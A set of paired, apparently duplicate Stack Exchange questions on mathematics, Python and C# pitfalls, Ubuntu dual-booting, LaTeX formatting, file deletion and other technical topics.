Let $z \in \mathbb{C}$ and $\bar z$ be its conjugate, $n \in \mathbb{N}$. Solve following equation:  $$\bar z = z^n\qquad (1).$$  My (uncomplete) solution to this:  let $z := a+bi$, where $i$ is imaginary number, and $a,b\in \mathbb{R}$. Then $\bar z = a- bi$.    Using $Moivre's$ formula we get     $$z^n = r^n(\cos n\phi + i\sin n\phi),$$ where $r = |z| = \sqrt{a^2 + b^2}$.  Now we can rewrite $(1)$:  $$a-bi = (a^2+b^2)^{\frac{n}{2}}\cdot(\cos n\phi + i\sin n\phi)$$  Is such approach useful ? I am not if I am steering into right direction, for I'm not sure how solution should look.

If $n$ is an integer and $n>2$, then $$\bar{z}=z^{n-1}$$ has $n+1$ solutions. Does this have something to do with the rational root theorem?


Dummit and Foote's Abstract Algebra contains a proof that a finite subgroup of the multiplicative group of a field, $F$, is cyclic. However the seems unnecessarily complex to me. Certainly their version works (pictured below), but I'm curious why they don't simply take the approach of adding $(1,...,1)\in(\mathbb{Z}/n_1\mathbb{Z}\times\cdots\mathbb{Z}/n_k\mathbb{Z})$ to itself $n_1\cdot n_2\cdots n_k$ times to show that the group necessarily has a generator. Does that approach somehow fail?  Dummit & Foote's proof:

In Grove's book Algebra, Proposition 3.7 at page 94 is the following     If $G$ is a finite subgroup of the multiplicative group $F^*$ of a field $F$,   then $G$ is cyclic.   He starts the proof by saying "Since $G$ is the direct product of its Sylow subgroups ...". But this is only true if the Sylow subgroups of $G$ are all normal. How do we know this?


I am witnessing a very weird behviour with the following Python code snippet. list_of_dict = [{}]*2                  # create a list of 2 dict list_of_dict[0]["add_to_dict_0"] = 1   # add a (key,val) pair to 1st dict  print list_of_dict[0] print list_of_dict[1]  The output is:  {'add_to_dict_0': 1} {'add_to_dict_0': 1}  Both the dictionaries got updated, although I (explicitly) updated only one. However, changing the initialization in Line 1 to the following: list_of_dict = [dict() for _ in xrange(0,2)]  fixes the issue. What is the reason for this behaviour? I am guessing that this is an artefact of the concept of  in Python (as opposed to variable-memory location binding in other languages like C/C++). My guess is that in the first case, both list_of_dict[0] and list_of_dict[1] are bound to the same dictionary object. Is my suspicion correct? If yes, then why is the behaviour not replicated in the second case? What is the difference between dict_object = dict() and dict_object = {}?

I needed to create a list of lists in Python, so I typed the following: my_list = [[1] * 4] * 3  The list looked like this: [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]    Then I changed one of the innermost values: my_list[0][0] = 5  Now my list looks like this: [[5, 1, 1, 1], [5, 1, 1, 1], [5, 1, 1, 1]]    which is not what I wanted or expected. Can someone please explain what's going on, and how to get around it?


I found this port on my new laptop (a LG Gram). It is small, about the size of a mini-USB, and has a logo that looks like a chain. I don't have the documentation with me right now.  A  returns nothing except "Gadget". I couldn't find anything with a normal Google search.  I also tried to look at several questions here but for some unknown reason, the pictures in the similar questions don't load (and I have no problem to see picture on SciFi.SE for example). They seem not to match my question.

I've have this socket on my laptop (Lenovo Z570).  What is this port and what is it used for? And what does that symbol mean (I expected a LOCK symbol)?


I have changed by username 5 times and now I'm unable to change it. I want to change my username now, as I got married.    I want to know how to delete the other user names.

As you may know, Facebook allows users to choose a "vanity URL," allowing easy linking to one's profile. However, once set, this URL cannot be changed and this was done for security reasons, understandably.  I have a friend whose now ex-partner set the URL to be "herfirstname.hislastname" without her permission. She tried to change it after this, but to no avail.  Has anyone successfully contacted Facebook and got them to either disable the name and revert back to an ID or change the name to another?


I have a simple query about Pundit budge (left 10 comments with score of 5 or more).  How close am I for the Pundit badge?

Is there a way to view your own progress towards certain badges? For example:   Tumbleweed - What value constitutes low views for a week? Fanatic  – Is there a way to view how many days in a row you currently have? Beta – Is it even possible to get this badge anymore?


Are the Pokémon that appear in the Pokémon GO app region specific when it comes to elemental pokemon? I live in Arizona and got a Magikarp in an egg and I do not know where to find any more whatsoever and I am not looking forward to getting 400 points to make it evolve when I can't even find one.

I have heard that there are some Pokémon that are region specific.  Could someone please clarify which Pokémon are region specific and in which regions that they can be found in?


How do I get Windows 10 back?   I downloaded Ubuntu for my school project but instead of a dual boot, my windows 10 is gone and I cannot access my windows 10 anymore.   I would greatly appreciate some help with this issue.

I have Ubuntu on my laptop. Now I want install Windows 7 in a dual-boot. How can I do this? I can't lose my Ubuntu files, and I'm afraid that I might break . Go  for UEFI only!


It would be nice if there is a way to post questions via HTTP calls, like with . But it doesn't seem to be available. Is it?

Do Stack Overflow and the other Stack Exchange sites have an API for posting questions or comments to the site? Everyone else has one (e.g., Twitter, Netflix, etc.).  If not, are there any plans to implement an API for posting content? It could perhaps use .


I want to insert dates in my (SQLLite) database (format: yyyyMMdd).  This dates shouldn't overlap the same time.  I tried to use this:  SELECT COUNT(*) FROM termine WHERE string = "" AND ((startDay BETWEEN 20151007 AND 20151009) OR (endDay BETWEEN 20151007 AND 20151009))   Problem: If the database contains values like startDay = 20151006 and endDay = 20151010, my method won't work, because the dates are not between the others.  So, what is the easiest way to check if a date is in the range of another?

Given two date ranges, what is the simplest or most efficient way to determine whether the two date ranges overlap?  As an example, suppose we have ranges denoted by DateTime variables StartDate1 to EndDate1 and StartDate2 to EndDate2.


Two subspaces  $\ W = \{ 1+ x + x^3 , -2x+x^2+x^3 , 3+ x + x^2 + 4x ^ 3\} $ and $\ U = \{ a+bx-bx^2+2ax^3 \mid a,b \in \mathbb R \} $   so $\ W = \{ w_1 = (1,1,0,1), w_2 = (0,-2,1,1), w_3 = (3,1,1,4) \} , \\ U = \{ u_1 = (1,0,0,2), u_2 = (0,-1,1,0) \}  $  and I need to find basis for $\ U \cap W $ so if $\ v \in U \cap W $ this means $\ 0 = \alpha_1 w_1 + \alpha_2 w_2 + \alpha_3 w _3 - \alpha_4 u_1 - \alpha_5u_2$  so I should just rank it in matrix and  so $\ \begin{bmatrix} 1 & 0 & -1 & 0 \\ 0 & 1 & -1 & 2 \\ 0 & -1 & 0 & -1 \\ 2 & 0 & - 1 & -1 \end{bmatrix} \Rightarrow \begin{bmatrix} 1 & 0 & -1 & 0 \\ 0 & 1 & -1 & 2 \\ 0 & 0 & -1 & 1 \\ 0 & 0 & 0 & 0 \end{bmatrix} $  so it means $\alpha_1 = \alpha_3 = \alpha_4 $ and $\ \alpha_2 = - \alpha_3 $ so it means any $\ v \in U \cap W $ is $\ v= \alpha_1u_1 -\alpha_1u_2 $ or $\ v = \alpha_3w_3 - \alpha_3 w_4  $  and how do I show by which vectors the space $\ U \cap W $ is spanned??

Suppose we have vector spaces $\mathbb W$ and $\mathbb V$.  A given basis for $\mathbb W$ is $\{(1, 1, 0, -1), (0, 1, 3, 1)\}$, and a given basis for $\mathbb V$ is $\{(1, 2, 2, -2), (0, 1, 2, -1)\}$.  How to find a basis for $\mathbb W\cap\mathbb V$?


in  the folder   cd /var/log/hive   I guess we have thundered of log files   I say that because  if I do under this folder  ls -l   then its stuck and only CNTRL C , will exit  so I cant to vew all files  in this case how to tryng to delete the files or the old files  or what we can do else ?

I have a folder with 137795 files in it.  I need to delete all of them.  When I run rm * I get -bash: /bin/rm: Argument list too long.  How do I get past this error?


So I've been looking around for an answer, and I can't seem to find anything resolved in terms of the problem I'm having. Here's the deal, I have an ASUS laptop that has Windows 8 preinstalled on it. It has 6 GB of ram with a 64-bit operating system. The only problem is that I'm sick and tired of Windows 8. I was hoping I might be able to install Ubuntu, but I've heard it's almost impossible. I've read that it can be done though... The only problem I'm having is how I might be able to do so. If anyone could give me a step-by-step guide or a link somewhere that is VERY helpful, especially for a first-timer like myself, I'd be very appreciative.   Thanks in advance!

I'm absolutely new to Linux. I would like to know how to install Ubuntu alongside the pre-installed Windows 8+ OS.  Should I do it with Wubi, or through the Live USB/DVD?  What steps do I need to take to correctly install Ubuntu?


Hi in the following example,  void Main() {     Func<int, int> getPage = (pageNumber) =>     {         SimulateSlowHttpRequest();         Console.WriteLine(pageNumber);         return pageNumber;     };      var tasks = new List<Task<int>>();      for (int i = 1; i <= 5; i++)     {         task = Task.Run(() => getPage(i));           tasks.Add(task);     }      Task.WaitAll(tasks.ToArray());     //...etc }  public static void SimulateSlowHttpRequest() {     var x = 1000000000;     var multiplier = new Random().Next(8, 16);     var y = x * multiplier;      for (int i = 0; i <= y; i++)     {         var result = i++;     } }   I get the following output:   6  6  6  6  6   ..or sometimes I might see a (e.g.) 3, but mostly 6s. If I change this line:          task = Task.Run(() => getPage(i));   to:          var j = i;         task = Task.Run(() => getPage(j));   then I get the expected output (numbers 1 to 5 on each line, albeit in a random order).  I suspect this is because: a) the Tasks in the loop might start running at some undefined time after the for loop has finished, and  b) i is being passed by reference to the Func, and the last value of it was 6  My question is why does it work with the above change above (i.e. making a local copy of i) and what is a better design for the above?  The above code is basically the same structure I am working with for a program which makes concurrent calls to a REST service to get data that is to be returned in one result.

I met an interesting issue about C#. I have code like below.  List<Func<int>> actions = new List<Func<int>>();  int variable = 0; while (variable < 5) {     actions.Add(() => variable * 2);     ++ variable; }  foreach (var act in actions) {     Console.WriteLine(act.Invoke()); }   I expect it to output 0, 2, 4, 6, 8. However, it actually outputs five 10s.  It seems that it is due to all actions referring to one captured variable. As a result, when they get invoked, they all have same output.  Is there a way to work round this limit to have each action instance have its own captured variable?


I ran the windows installer with windows 7. I assumed Ubuntu would run my windows files, but my 1.5tb internal hard drive won't mount. Any help would be AWESOME!

Whenever I boot Ubuntu, I get a message that it cannot mount my windows partition, and I can choose to either wait, skip or manually mount.  When I try to enter my Windows partition through Nautilus I get a message saying that this partition is hibernated and that I need to enter the file system and properly close it, something I have done with no problem so I don't know why this happens.    Here's my partition table, if any more data is needed please let me know.     Device Boot      Start         End      Blocks   Id  System /dev/sda1            2048    20000767     9999360   83  Linux /dev/sda2        20002814   478001151   228999169    5  Extended /dev/sda3   *   478001152   622532607    72265728    7  HPFS/NTFS/exFAT /dev/sda4       622532608   625141759     1304576   82  Linux swap / Solaris /dev/sda5        20002816   478001151   228999168   83  Linux


If $\dfrac{c}{d} > \dfrac{a}{b}$, then $\dfrac{c}{d} > \dfrac{a+c}{b+d} > \dfrac{a}{b}$   This is intuitively clear to me but I don't know how to prove this. I tried rewriting all the fractions to the same for but I still couldn't figure it out because I can't really say anything about the size of $a,b,c,d$ on their own.  What tactic should one use for these types of problems?

We were trying to come up with an easy way to generate a rational number in between two existing rational numbers with a fairly low numerator and denominator (the way we were doing this earlier was to find the average of the two rationals, but that results in a denominator of up to $c * d$. Does this inequality hold for all values of $a, b, c, d$?


Say I see a bimodal distribution like this (with the domain, or random variable, $Z$):    Does that instantly mean that I am seeing not a distribution of one independent random variable $Z$, but actually a composite of two distributions (associated with two truly independent random variable $X$ and $Y$), even though $X$, $Y$ and $Z$ all have the same range $[-6,6]$?  In this instance the figure above was obtained by: $$P_{Z} = 0.5 \cdot P_{X} + 0.5 \cdot P_{Y} $$      As an example, say that $Z$ is height. Does it mean that from a probability perspective $Z$ is actually two mathematically distinct (despite the name) variables female height and male height?

I do not know any multimodal distributions.   Why are all known distributions unimodal? Is there any "famous" distribution that have more than one mode?  Of course, mixtures of distributions are often multimodal, but I would like to know whether there exist any "non-mixture" distributions that have more than one mode.


I want to color some cells of a table, some of which use \makecell. The problem I run into is that not the whole width of the \makecell cells is filled by the color.  MWE:  \documentclass{article}  \usepackage{makecell} \usepackage{colortbl}  \begin{document}   \begin{tabular}{|l|}   Cell 1's text is very long \\   \cellcolor{red} \makecell{Cell\\2}   \end{tabular} \end{document}     The desired behavior is of course to have the whole cell filled, so how can I do that?  Edit: I'm using \makecell to get a cell consisting of multiple lines in my original problem, so I've updated the MWE to do that as well. If there's any other method of doing that without using makecell I'm willing to do so as well.

In my answer to question    I suggest to (between others) to use makecell package to define head of table and later I sow that the firs row is not colored as expected. It doesn't cover all row. Than I try to correct this with use of cellcolor construct as should be correctly done, when you use multicolumn (simplified MWE from mentioned question):  \documentclass[12pt]{article}     \usepackage[utf8]{inputenc}      \usepackage[table]{xcolor}     \usepackage{longtable}     \usepackage{makecell} \renewcommand\theadfont{\bfseries}  \usepackage[active,tightpage]{preview} \PreviewEnvironment{longtable}%     \setlength\PreviewBorder{1em}      \begin{document} \begin{longtable}{|*{9}{b{\dimexpr 0.11\linewidth-2\tabcolsep}|}}     \hline     \multicolumn{8}{|c|}{\cellcolor{gray!30}{\thead{head\\ 1}}}     & \cellcolor{gray!30}{\thead{head\\ 2}}   \\    \hline 1 & 2 & 3 & 4 & 5 & 6 & 7 & 8 & 9 \\     \hline\hline \endfirsthead     \hline 1 & 2 & 3 & 4 & 5 & 6 & 7 & 8 & 9 \\     \hline\hline \endhead A & B & C & D & E & F & G & H & I  \\ J & K & L & M & N & O & P & Q & R  \\ S & T & U & V & W & X & Y & Z &    \\     \hline\hline \end{longtable}     \end{document}   and discover that that head inmulticolumn doesn't has width of it and consequently head background color doesn't fill complete cell.     I Check makecell documentation, but doesn't find valuable information how to stretch actual head to cover entire cell. How to achieve that entire multicolum cell background will be colored?  addendum: for this particular case the stretch \thead over whole \multicolumn can be done on the following way: instead of  \multicolumn{8}{|c|}{\thead{\hfill head\hfill\\ 1}}   the multi column cell should be defined as  \multicolumn{8}{|p{\dimexpr 0.88\linewidth-\tabcolsep}|}{\thead{\hfill head\hfill\\ 1}}   where \dimexpr 0.88\linewidth-\tabcolsep is the width of multi col cell. then the result is:    however, general solutions are given in answers below.


Below is the class. The static method findMax returns arr[maxIndex] and when I try to print that out in the main method I get a memory location instead of the value. I thought to print out a value at a certain index of an array.   I would like to print the value, but without changing the existing method (so I have to fix the problem via the main).  public class Problem1   {      public static <AnyType extends Comparable<AnyType>> AnyType findMax(AnyType[] arr)      {         int maxIndex = 0;         for (int i = 1; i < arr.length; i++)             if ( arr[i].compareTo(arr[maxIndex]) > 0 )                maxIndex = i;         return arr[maxIndex];     }      public static void main(String[ ] args)     {         Rectangle rect1 = new Rectangle(1,2);         Rectangle rect2 = new Rectangle(2,2);         Rectangle rect3 = new Rectangle(3,2);         Rectangle rect4 = new Rectangle(4,2);         Rectangle rect5 = new Rectangle(5,3);          Rectangle[ ] rectangles = new Rectangle[5];         rectangles[0] = rect1;         rectangles[1] = rect2;         rectangles[2] = rect3;         rectangles[3] = rect4;         rectangles[4] = rect5;          System.out.println(findMax(rectangles));      }  }

In Java, arrays don't override toString(), so if you try to print one directly, you get the className + '@' + the hex of the  of the array, as defined by Object.toString():  int[] intArray = new int[] {1, 2, 3, 4, 5}; System.out.println(intArray);     // prints something like '[I@3343c8b3'   But usually, we'd actually want something more like [1, 2, 3, 4, 5]. What's the simplest way of doing that? Here are some example inputs and outputs:  // Array of primitives: int[] intArray = new int[] {1, 2, 3, 4, 5}; //output: [1, 2, 3, 4, 5]  // Array of object references: String[] strArray = new String[] {"John", "Mary", "Bob"}; //output: [John, Mary, Bob]


Externally, we (humans) look symmetrical. However, internal organs don't show the same patterns of symmetry (heart being on the left side while the liver is on the right side, etc.). It is a bit counter-intuitive to me that the exterior of our body seems to be mainly symmetrical while the interior is asymmetrical.   What is the advantage of having bilateral symmetry in our body? Why don't all of our organs exhibit bilateral symmetry?

Mammals, reptiles, arachnids, insects, etc are all as far as I am aware symmetrical in appearance.  Take a human for instance, make a line from the top of our head right down the middle. However, internally it is not the same. Our organs excluding the kidneys, lungs, reproductive organs, etc are not symmetrically placed in our body.   Why do we not have an even number of each organ so it can be placed symmetrically? If we have a single organ why is it not placed in the middle like the brain or bladder is for instance? Is there some evolutionary advantage that led to this setup?


The question is      Isaac is planning a nine-day holiday. Every day he will go surfing, or water skiing, or he will rest. On any given day he does just one of these three things. He never does different water-sports on consecutive days. How many schedules are possible for the holiday?   My attempt: $$ \text{Define a}_{\text{n}}\,\,\text{to be the number of n}-\text{day holiday that the last day is rest} \\ \text{b}_{\text{n}}\,\,\text{similarly, last day is skiing}. \\ \text{Then a}_{\text{n}+1}=\text{a}_{\text{n}}+\text{2b}_{\text{n}}, \text{b}_{\text{n}+1}=\text{b}_{\text{n}}+\text{a}_{\text{n}} \\ $$ Then I do not know how to proceed to solve this sequence

Isaac is planning a nine-day holiday. Every day he will go surfing,   or water skiing, or he will rest. On any given day he does just one of   these three things. He never does different water-sports on consecutive   days. How many schedules are possible for the holiday?   $A$ is surfing, $B$ is water-skiing and $C$ is resting.  Three cases, case 1, week begins with $A$, case 2, week begins with $B$ and case 3, week begins with $C$. Then the total possible weeks by $x(n)$ is:  $$x(n) = a(n) + b(n) + c(n)$$  Where $a(n)$ is the sequence with beginning $A$ etc...  Lets look at case 1 first.  Because it is $A$ _ _ _ _ _ _ _ _,  $$a(n) = c(n-1) + a(n-1)$$  But I cant get rid of $a$, which is the goal. What should I do?


If there is a prime number x, if we reciprocate it we will get 1/x.   Reciprocal of prime number will be a rational number , Except 1/2 and 1/5 ,  every number which is reciprocal of prime number is a recurring non terminating decimal number.  Question- How to find that after how many digit recurring numbers will repeat ?  How to find the recurring numbers?

If you have a fraction such as $$\frac{7}{26}=0.269230\overline{769230}$$ where there are a number of digits prior to the repeating section, how can you tell how many digits there will be given just the fraction?  I believe I could run through the standard long division algorithm until I come across the same remainder for the second time and then use the location of the first instance of this remainder to calculate the number of digits before the repeating section, but this feels very cumbersome.  After lots of reading online, I came across what looks like a formula for it from :     When a rational number $\frac{m}{n}$ with $(m,n)=1$ is expanded, the period begins after ${s}$ terms and has length ${t}$, where ${s}$ and ${t}$ are the smallest numbers satisfying $10^s\equiv10^{s+t}\pmod{n}$.   I know how to calculate the length of the period of a fraction, and so in the case of my original fraction we have $10^s\equiv10^{s+6}\pmod{26}$, but I don't know how to solve for ${s}$ in this equation!  So there are really two questions here - the one in the title, and a sneaky one about how to take logs in a modulo arithmetic equation.


I would like to use the functionality of figure captions (that can have two captions: one for table of contents and one for the caption below/above the figure) with my custom filecode environment. MWE:  \documentclass[11pt,a4paper]{article} \usepackage{listings} \usepackage{color} \usepackage{courier}  \definecolor{dkgreen}{rgb}{0,0.6,0} \definecolor{gray}{rgb}{0.5,0.5,0.5} \definecolor{mauve}{rgb}{0.58,0,0.82} \definecolor{darkblue}{rgb}{0.0,0.0,0.6} \definecolor{cyan}{rgb}{0.0,0.6,0.6}  \lstset{frame=tb,   language=C++,   showstringspaces=false,   columns=fullflexible,   basicstyle={\scriptsize\ttfamily},   numbers=left,   numbersep=4pt,   numberstyle=\scriptsize\color{gray},   keywordstyle=\color{blue},   commentstyle=\color{gray}\upshape,   stringstyle=\color{mauve},   moredelim=[s][\color{gray}]{@}{\ },   breaklines=true,   breakatwhitespace=true,   tabsize=2 }  \newenvironment{filecode}[1][]   {\vspace{1ex} \minipage[0.5\textheight]{\linewidth}% \begin{filecode}[#1]    \lstset{basicstyle=\fontfamily{pcr}\footnotesize,#1}}   {\endminipage \vspace{1em}}% \end{filecode}  \begin{document}  \begin{filecode}[label=lst:code,caption=Very long and frustrating caption that noone want to see before this page]   \lstinputlisting{main.cpp} \end{filecode}  \end{document}

I have some cites in my captions. But I do not want to appear them in the table of figures or listings. With figures I managed to display an different caption like this:  \begin{figure}   \centering   \includegraphics[width=0.55\linewidth]{images/FIPA_Message-Transport-Reference-Model}   \caption[FIPA Message Transport Reference Model]{FIPA Message Transport Reference Model (\cite{FIPA2000}).}   \label{fig:FIPA_Message-Transport-Reference-Model} \end{figure}    But with lstlisting I have some troubles because the caption is an option of the listings and that seems not to have an optional caption label.  \begin{lstlisting}[ language=Scala, label={lst:Publisher}, caption={Publisher notify\cite{Zenger2013}}]    protected def publish(event: Evt) {     filters.keys.foreach(sub =>       if (!suspended.contains(sub) && filters.entryExists(sub, p => p(event)))         sub.notify(self, event)     )   } \end{lstlisting}   Any Ideas how to solve this? Thanks in advance!


I am in dilemma about my derivation for finding Electric Potential for a point charge and I know it is asked before but I didn't get the answer. So I am posting here.I asked this question conceptually previously but the answer didn't satisfied me. Any described detailed answer would be appreciated

I know work done is negative of change in potential energy, I.e., $W=-(∆U)$.  It means that Work done against a force (or work done on a system) increases its potential energy. And Work done by a force (or work done by the system) decreases its potential energy.  But why this is so that an internal force (by internal force I mean that a force created under a system) will always tend to decrease the potential energy of the system while the external force increase the potential energy of the system?


I tried to look it up on the forum but I can't find a solution. I just got a PC laptop (I come from Mac…) installed Win7 and partition my hd in 3 parts, one for Win7, one unformatted for Ubuntu, and one NTFS for data. The Ubuntu installer doesn't recognize the partitions though. What can I do? My goal is to have a dual boot. Thank you so much!   note Warning: Can't have a partition outside the disk!

Im trying to install Kubuntu 14.04 along-side Windows 7 x64 but there are problems in Disk Setup section, installer does not show my drives properly as they are, i left drive empty to install Kubuntu but this drive does not shown at all and all drives are listed some way un-regular.   this is how my drives really are:    i want to install Kubuntu in my drive D but this is how Disk Setup is showing my drives:    and when i click on manual:    i even shrink-ed my drive D to assigning for root, home and swap but there are bot shown to be chosen. where is the problem? how can i tell installer to assign the drives that i want?


I'm looking at 3 different lens mainly for distance shots but with  a bit of Macro occasionally.  Tamron AF 70-300mm F/4-5.6 Nikon AF-S DX NIKKOR 55-300mm f/4.5-5.6G Sigma 70-300mm f4-5.6     The bit I'm confused about is the optical zoom.  I thought if they all had the same Max Focal Length that they'd have the same optical zoom.  However what the spec's say is that the Tamron is 2x, the Nikon 5.5x and the Sigma 4.28.  Can someone explain why the optical zoom is so different?  Thanks  Edit: Spec's got from here:  comparison about half way down the page

Zoom meaning the ability to make something distant appear closer.  Consumer cameras are sold with a maximum zoom which is supposed to define how much closer.  For example a camera might be 40x zoom, 4x optical, 10x digital.  Can someone explain that in simple English?  Is a 2x zoom the same as taking a picture at half the distance?


I'm having trouble creating a header with boxes, images and other features. Is it possible to create a header like the following one in LaTeX? How?

I'm trying to create question paper using Latex. Sample copy of expected header for first page is mentioned below. Note: Image above "First Page Header". Can you please suggest, how can I add table in header with Image on left hand-side as mentioned below. Is there any recommended package?


If I run , e.g., Contact.Salutation.getDescribe().getPicklistValues(), it usually returns the PicklistEntry records for Salutation in the order that I have established in the metadata.  The order is undocumented.  Is this reliable?

I want to get the picklist values of a picklist field in Apex.  I use the someFieldResult.getPicklistValues(); function and that works fine. This gives me all the picklist values, in alphabetic order (e.g. Alpha, Beta, Gamma).  However, I want to have those values in the order they were entered (e.g. Gamma, Alpha, Beta). How to do that?


I have installed Ubuntu 16.04 on HP bs179tx laptop, but I am unable to connect to wireless networks. When I checked sudo lshw -C network, it is displaying *-network UNCLAIMED.

How do I install Wi-Fi drivers for Realtek RTL8723DE device in Ubuntu 16.04?  lspci -v | grep -i network 02:00.0 Network controller: Realtek Semiconductor Co., Ltd. Device d723


After upgrade to Ubuntu 20, my window buttons moved again to the left and I don't know how change it in this version of distribution.

I tried to move my "close, minimise and maximise" to the right + add the macOS theme to it. However, I have not been able to find any settings for that. In GNOME Tweaks > Windows the settings to put the buttons to the right are missing completely.


My simplified tex source is as follows:  \documentclass{amsart} \usepackage{graphicx,color,float} \newcommand{\aaa}{\includegraphics[width=.15in]{aaa.eps}} \begin{document} $\aaa$. \end{document}   But it doesn't work. What did I do wrong?

There several types of graphics files. In no particular order .jpeg .eps .pdf .png .tif .jif (and no doubt others). Some work with latex, dvips and some work with pdflatex. How am I supposed to know which?  Just to confuse matters, metapost produces .eps but I can use these with pdflatex as long as I put in a four line incantation.  Can anyone explain this?


I am very new to Ubuntu. Chose the option to load Ubuntu alongside Windows 7 from my flashdrive. When I was prompted to set the partitions, I allowed it to do it automatically (to avoid issues... so much for that).   Everything seemed to go fine but my PC now just boots into Ubuntu 13.04 as if it is the only OS; there is no option to choose Windows 7. I tried boot-repair (recommended settings option) to no avail. I haven't tried anything under the Advanced Options so that I won't make it worse before getting some feedback.  In the past, I had to have my PC repaired after a nasty virus. It's an HP pavillion 1230n that had Windows XP originally, but when I got it after repairs it had Windows 7 ultimate 7601 build (I think) anyway, it always had a pop up that I needed to get genuine Windows. I also noticed Vista listed on my pastebin but I've never used Vista on my PC.   I downloaded gparted but haven't made any changes.  I hope I've provided enough information. Any help would be greatly appreciated or just point me in the right direction. I've seen many similar posts with small differences and countless "solutions" however I don't know enough to be able to identify if what worked for them would work for me or make it harder for someone to help me.   Thanks in advance  sudo fdisk -l shows:  Disk /dev/sda: 200.0 GB, 200049647616 bytes 255 heads, 63 sectors/track, 24321 cylinders, total 390721968 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x1549f232     Device Boot      Start         End      Blocks   Id  System /dev/sda1            2048    30722047    15360000    7  HPFS/NTFS/exFAT /dev/sda2   *    30722048    30926847      102400    7  HPFS/NTFS/exFAT /dev/sda3        30926848   316314777   142693965    7  HPFS/NTFS/exFAT /dev/sda4       316315646   390721535    37202945    5  Extended /dev/sda5       316315648   388757503    36220928   83  Linux /dev/sda6       388759552   390721535      980992   82  Linux swap / Solaris  Disk /dev/sdb: 2003 MB, 2003795968 bytes 32 heads, 63 sectors/track, 1941 cylinders, total 3913664 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x2c46034e     Device Boot      Start         End      Blocks   Id  System /dev/sdb1   *          63     3913055     1956496+   6  FAT16   I never see any options to boot into Vista or anything when booting. It just goes straight into Ubuntu. When I hit enter during booting to get into settings the only thing I can do is boot into Ubuntu from hard drive or boot into Ubuntu from my jump drive.

I installed Windows on my computer, followed by an installation of Ubuntu. However, now I'm unable to boot into my Windows install.  What can I do to fix this?


In debian the default configuration for installing recommendations in apt is set to true.  If you edit   /etc/apt/apt.conf   and add the line  apt::install-recommends "false";   recommendations are not installed by default anymore.  You can also achieve this by adding the option  apt-get install --no-install-recommends ...   Why is this default set to true?

I was trying to install texmaker from the repository. For installing the texlive I followed the . For this the control file I used is . It has the file texlive-binaries in it.  Then I tried to install texmaker from apt. It has the dependency listed as   # apt-cache depends texmaker texmaker   Depends: libc6   Depends: libgcc1   Depends: libpoppler-qt4-3   Depends: libqt4-network   Depends: libqt4-xml   Depends: libqtcore4   Depends: libqtgui4   Depends: libqtwebkit4   Depends: libstdc++6   Depends: zlib1g   Depends: texmaker-data   Recommends: aspell   Recommends: ghostscript   Recommends: netpbm   Recommends: psutils     texlive-local   Recommends: texlive-latex-extra     texlive-local  |Recommends: <hunspell-dictionary>     myspell-fr     myspell-ru     hunspell-an     hunspell-ar     hunspell-be     hunspell-da     hunspell-de-at     hunspell-de-at-frami     hunspell-de-ch     hunspell-de-ch-frami     hunspell-de-de     hunspell-de-de-frami     hunspell-en-ca     hunspell-en-us     hunspell-eu-es     hunspell-fr     hunspell-gl-es     hunspell-hu     hunspell-kk     hunspell-ko     hunspell-ne     hunspell-ro     hunspell-ru     hunspell-se     hunspell-sh     hunspell-sr     hunspell-sv-se     hunspell-uz     hunspell-vi     myspell-et     myspell-lv     myspell-pl  |Recommends: <openoffice.org-spellcheck-de-de>     hunspell-de-de     myspell-de-de  |Recommends: <myspell-dictionary>     myspell-de-de-oldspell     myspell-fr     myspell-ru     hunspell-kk     myspell-af     myspell-bg     myspell-ca     myspell-cs     myspell-da     myspell-de-at     myspell-de-ch     myspell-de-de     myspell-en-au     myspell-en-gb     myspell-en-us     myspell-en-za     myspell-eo     myspell-es     myspell-et     myspell-fa     myspell-fi     myspell-fo     myspell-fr-gut     myspell-ga     myspell-gd     myspell-gv     myspell-he     myspell-hr     myspell-hu     myspell-hy     myspell-it     myspell-ku     myspell-lt     myspell-lv     myspell-nb     myspell-nl     myspell-nn     myspell-pl     myspell-pt-br     myspell-pt-pt     myspell-sk     myspell-sl     myspell-sw     myspell-th     myspell-tl     myspell-uk   Recommends: hunspell-en-us   Recommends: asymptote   Recommends: ibus-qt4   But when I tried to install texmaker from apt is shows  # apt-get install texmaker Reading package lists... Done Building dependency tree        Reading state information... Done The following extra packages will be installed:   asymptote asymptote-doc ed freeglut3 ibus-qt4 libgraphite3 libibus-qt1   libptexenc1 libqtwebkit4 libruby1.9.1 libsigsegv2 libyaml-0-2   python-imaging-tk ruby ruby1.9.1 tex-common texlive-binaries texlive-common   texmaker-data   Why is it so?  I had no problem installing tex-studio and texworks.


I want to add a plane as shown . In this video (please watch it at 0.25 speed), the author creates a plane. His plane appears upright, and it is shown in the Hierarchy. I do the same, but my plane lays flat on the floor and doesn't appear in the Hierarchy. What am I doing differently than he does? Thank you!

I was modeling a tree trunk and I placed the origin cursor on the trunk and added an icosphere. But when I tried to select one of them with the mouse it would select both at the same time as if I had joined them (which I know I did not).  Thank you to anyone who answers :)


Suppose $A$ is an integrally closed domain and that $f\in A$ has no repeated prime factors. Then $z^2-f$ is irreducible and $B:=A[z]/(z^2-f)$ is an integral domain. I am trying to see why $K(B)$, the fraction field of $B$, is $K(A)[z]/(z^2-f)$. In $K(B)$, we are inverting all elements of $B$ that are not contained in the ideal $(z^2-f)$. So then I think this should give us $K(B)=(A[z]-(z^2-f))^{-1}B$. Is this correct? And if so, why are the two forms of $K(B)$ equal?

This should be very basic but I am having a bit of trouble finding the field of fractions for quotients of polynomial rings over a field. The specific example I am having trouble with is the following:  Let $k$ be a field with characteristic $\neq 2$ and let $f \in k[x_1, \dots , x_n]$ be a polynomial with no repeated factors. I am trying to determine the field of fractions of the ring $$ k[x_1, x_2, \ldots , x_n, z]/\langle z^2 - f\rangle. $$  The usual method I would use for a problem like this is the Chinese remainder theorem, but I don't see any way to apply that here. The other fact I know is that if $A$ is an integral domain with prime ideal $\mathfrak{p}$, then $\text{Frac}(A/\mathfrak{p}) \simeq A_{\mathfrak{p}}/\mathfrak{p}A_{\mathfrak{p}}$. But the problem of finding  $A_{\mathfrak{p}}/\mathfrak{p}A_{\mathfrak{p}}$ seems no easier in this case. Can anyone point me in the right direction? I am fairly certain I know what the result is, but I have no idea how to show it properly.


